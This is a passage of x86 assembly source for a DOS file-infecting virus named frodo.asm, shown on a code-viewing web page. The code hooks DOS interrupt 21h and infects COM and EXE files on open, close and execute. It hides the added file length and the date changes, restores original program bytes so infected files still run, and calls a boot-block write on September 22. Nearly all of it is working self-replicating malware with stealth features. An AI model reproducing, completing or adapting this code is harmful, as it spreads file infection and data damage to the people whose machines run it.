📄 frodo.asm
字号:
sub word ptr [bx+1Ah],1000h ; hide file length increase
sbb word ptr [bx+1Ch],0
sub byte ptr [bx+19h],0C8h ; and date change
jmp _popall_then_exitint21
createhandle:
push cx
and cx,7 ; mask the attributes
cmp cx,7 ; r/o, hidden, & system?
je exit_create_handle
pop cx
call replaceint13and24
call callint21 ; chain to original int 21h
call restoreint13and24
pushf
cmp byte ptr cs:errorflag,0 ; check if any errors yet
je no_errors_createhandle
popf
will_exitotherint21:
jmp exitotherint21
no_errors_createhandle:
popf
jc other_error_createhandle; exit on error
mov bx,ax ; move handle to bx
mov ah,3Eh ; Close file
call callint21
jmp short openhandle
other_error_createhandle:
or byte ptr cs:int21flags,1; turn on the trap flag
mov [bp-4],ax ; set the return code properly
jmp _popall_then_exitint21
exit_create_handle:
pop cx
jmp exitotherint21
openhandle:
call getcurrentPSP
call checkdsdxokinfect
jc jmp_exitotherint21
cmp byte ptr cs:handlesleft,0 ; make sure there is a free
je jmp_exitotherint21 ; entry in the table
call setup_infection ; open the file
cmp bx,0FFFFh ; error?
je jmp_exitotherint21 ; if so, exit
dec byte ptr cs:handlesleft
push cs
pop es
mov di,offset handletable
mov cx,14h
xor ax,ax ; find end of the table
repne scasw
mov ax,cs:currentPSP ; put the PSP value and the
mov es:[di-2],ax ; handle # in the table
mov es:[di+26h],bx
mov [bp-4],bx ; put handle # in return code
handleopenclose_exit:
and byte ptr cs:int21flags,0FEh ; turn off the trap flag
jmp _popall_then_exitint21
jmp_exitotherint21:
jmp exitotherint21
handleclosefile:
push cs
pop es
call getcurrentPSP
mov di,offset handletable
mov cx,14h ; 14h entries max
mov ax,cs:currentPSP ; search for calling PSP
scanhandle_close:
repne scasw
jnz handlenotfound ; handle not trapped
cmp bx,es:[di+26h] ; does the handle correspond?
jne scanhandle_close ; if not, find another handle
mov word ptr es:[di-2],0 ; otherwise, clear handle
call infect_file
inc byte ptr cs:handlesleft ; fix handles left counter
jmp short handleopenclose_exit ; and exit
handlenotfound:
jmp exitotherint21
getdisktransferaddress:
push es
mov ah,2Fh ; Get disk transfer address
call callint21 ; to es:bx
push es
pop ds ; mov to ds:bx
pop es
retn
execute:
or al,al ; load and execute?
jz loadexecute ; yepper!
jmp checkloadnoexecute ; otherwise check if
; load/no execute
loadexecute:
push ds ; save filename
push dx
mov word ptr cs:parmblock,bx; save parameter block and
mov word ptr cs:parmblock+2,es; move to ds:si
lds si,dword ptr cs:parmblock
mov di,offset copyparmblock ; copy the parameter block
mov cx,0Eh
push cs
pop es
rep movsb
pop si ; copy the filename
pop ds ; to the buffer
mov di,offset copyfilename
mov cx,50h
rep movsb
mov bx,0FFFFh
call allocate_memory ; allocate available memory
call _popall
pop bp ; save the parameters
pop word ptr cs:saveoffset ; on the stack
pop word ptr cs:savesegment
pop word ptr cs:int21flags
mov ax,4B01h ; load/no execute
push cs ; ds:dx -> file name
pop es ; es:bx -> parameter block
mov bx,offset copyparmblock
pushf ; perform interrupt 21h
call dword ptr cs:oldint21
jnc continue_loadexecute ; continue if no error
or word ptr cs:int21flags,1; turn on trap flag
push word ptr cs:int21flags ; if error
push word ptr cs:savesegment ; restore stack
push word ptr cs:saveoffset
push bp ; restore the stack frame
mov bp,sp ; and restore ES:BX to
les bx,dword ptr cs:parmblock ; point to the parameter
jmp exitint21 ; block
continue_loadexecute:
call getcurrentPSP
push cs
pop es
mov di,offset handletable ; scan the handle table
mov cx,14h ; for the current PSP's
scanhandle_loadexecute: ; handles
mov ax,cs:currentPSP
repne scasw
jnz loadexecute_checkEXE
mov word ptr es:[di-2],0 ; clear entry in handle table
inc byte ptr cs:handlesleft ; fix handlesleft counter
jmp short scanhandle_loadexecute
loadexecute_checkEXE:
lds si,dword ptr cs:origcsip
cmp si,1 ; Check if EXE infected
jne loadexecute_checkCOM
mov dx,word ptr ds:oldheader+16h ; get initial CS
add dx,10h ; adjust for PSP
mov ah,51h ; Get current PSP segment
call callint21
add dx,bx ;adjust for start load segment
mov word ptr cs:origcsip+2,dx
push word ptr ds:oldheader+14h ; save old IP
pop word ptr cs:origcsip
add bx,10h ; adjust for the PSP
add bx,word ptr ds:oldheader+0Eh ; add old SS
mov cs:origss,bx
push word ptr ds:oldheader+10h ; old SP
pop word ptr cs:origsp
jmp short perform_loadexecute
loadexecute_checkCOM:
mov ax,[si] ; Check if COM infected
add ax,[si+2]
add ax,[si+4]
jz loadexecute_doCOM ; exit if already infected
push cs ; otherwise check to see
pop ds ; if it is suitable for
mov dx,offset copyfilename ; infection
call checkdsdxokinfect
call setup_infection
inc byte ptr cs:hideclustercountchange
call infect_file ; infect the file
dec byte ptr cs:hideclustercountchange
perform_loadexecute:
mov ah,51h ; Get current PSP segment
call callint21
call saveregs
call restoreBREAK
call swapvirint21
call restoreregs
mov ds,bx ; ds = current PSP segment
mov es,bx ; es = current PSP segment
push word ptr cs:int21flags ; restore stack parameters
push word ptr cs:savesegment
push word ptr cs:saveoffset
pop word ptr ds:[0Ah] ; Set terminate address in PSP
pop word ptr ds:[0Ch] ; to return address found on
; the stack
; (int 21h caller CS:IP)
push ds
lds dx,dword ptr ds:[0Ah] ; Get terminate address in PSP
mov al,22h ; Set terminate address to it
call setvect
pop ds
popf
pop ax
mov ss,cs:origss ; restore the stack
mov sp,cs:origsp ; and
jmp dword ptr cs:origcsip ; perform the execute
loadexecute_doCOM:
mov bx,[si+1] ; restore original COM file
mov ax,word ptr ds:[bx+si-261h]
mov [si],ax
mov ax,word ptr ds:[bx+si-25Fh]
mov [si+2],ax
mov ax,word ptr ds:[bx+si-25Dh]
mov [si+4],ax
jmp short perform_loadexecute
checkloadnoexecute:
cmp al,1
je loadnoexecute
jmp exitotherint21
loadnoexecute:
or word ptr cs:int21flags,1; turn on trap flag
mov word ptr cs:parmblock,bx; save pointer to parameter
mov word ptr cs:parmblock+2,es ; block
call _popall
call callint21 ; chain to int 21h
call _pushall
les bx,dword ptr cs:parmblock ; restore pointer to
; parameter block
lds si,dword ptr es:[bx+12h]; get cs:ip on execute return
jc exit_loadnoexecute
and byte ptr cs:int21flags,0FEh ; turn off trap flag
cmp si,1 ; check for EXE infection
je loadnoexecute_EXE_already_infected
; infected if initial IP = 1
mov ax,[si] ; check for COM infection
add ax,[si+2] ; infected if checksum = 0
add ax,[si+4]
jnz perform_the_execute
mov bx,[si+1] ; get jmp location
mov ax,ds:[bx+si-261h] ; restore original COM file
mov [si],ax
mov ax,ds:[bx+si-25Fh]
mov [si+2],ax
mov ax,ds:[bx+si-25Dh]
mov [si+4],ax
jmp short perform_the_execute
loadnoexecute_EXE_already_infected:
mov dx,word ptr ds:oldheader+16h ; get entry CS:IP
call getcurrentPSP
mov cx,cs:currentPSP
add cx,10h ; adjust for PSP
add dx,cx
mov es:[bx+14h],dx ; alter the entry point CS
mov ax,word ptr ds:oldheader+14h
mov es:[bx+12h],ax
mov ax,word ptr ds:oldheader+0Eh ; alter stack
add ax,cx
mov es:[bx+10h],ax
mov ax,word ptr ds:oldheader+10h
mov es:[bx+0Eh],ax
perform_the_execute:
call getcurrentPSP
mov ds,cs:currentPSP
mov ax,[bp+2] ; restore length as held in
mov word ptr ds:oldheader+6,ax
mov ax,[bp+4] ; the EXE header
mov word ptr ds:oldheader+8,ax
exit_loadnoexecute:
jmp _popall_then_exitint21
getDOSversion:
mov byte ptr cs:hide_size,0
mov ah,2Ah ; Get date
call callint21
cmp dx,916h ; September 22?
jb exitDOSversion ; leave if not
call writebootblock ; this is broken
exitDOSversion:
jmp exitotherint21
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -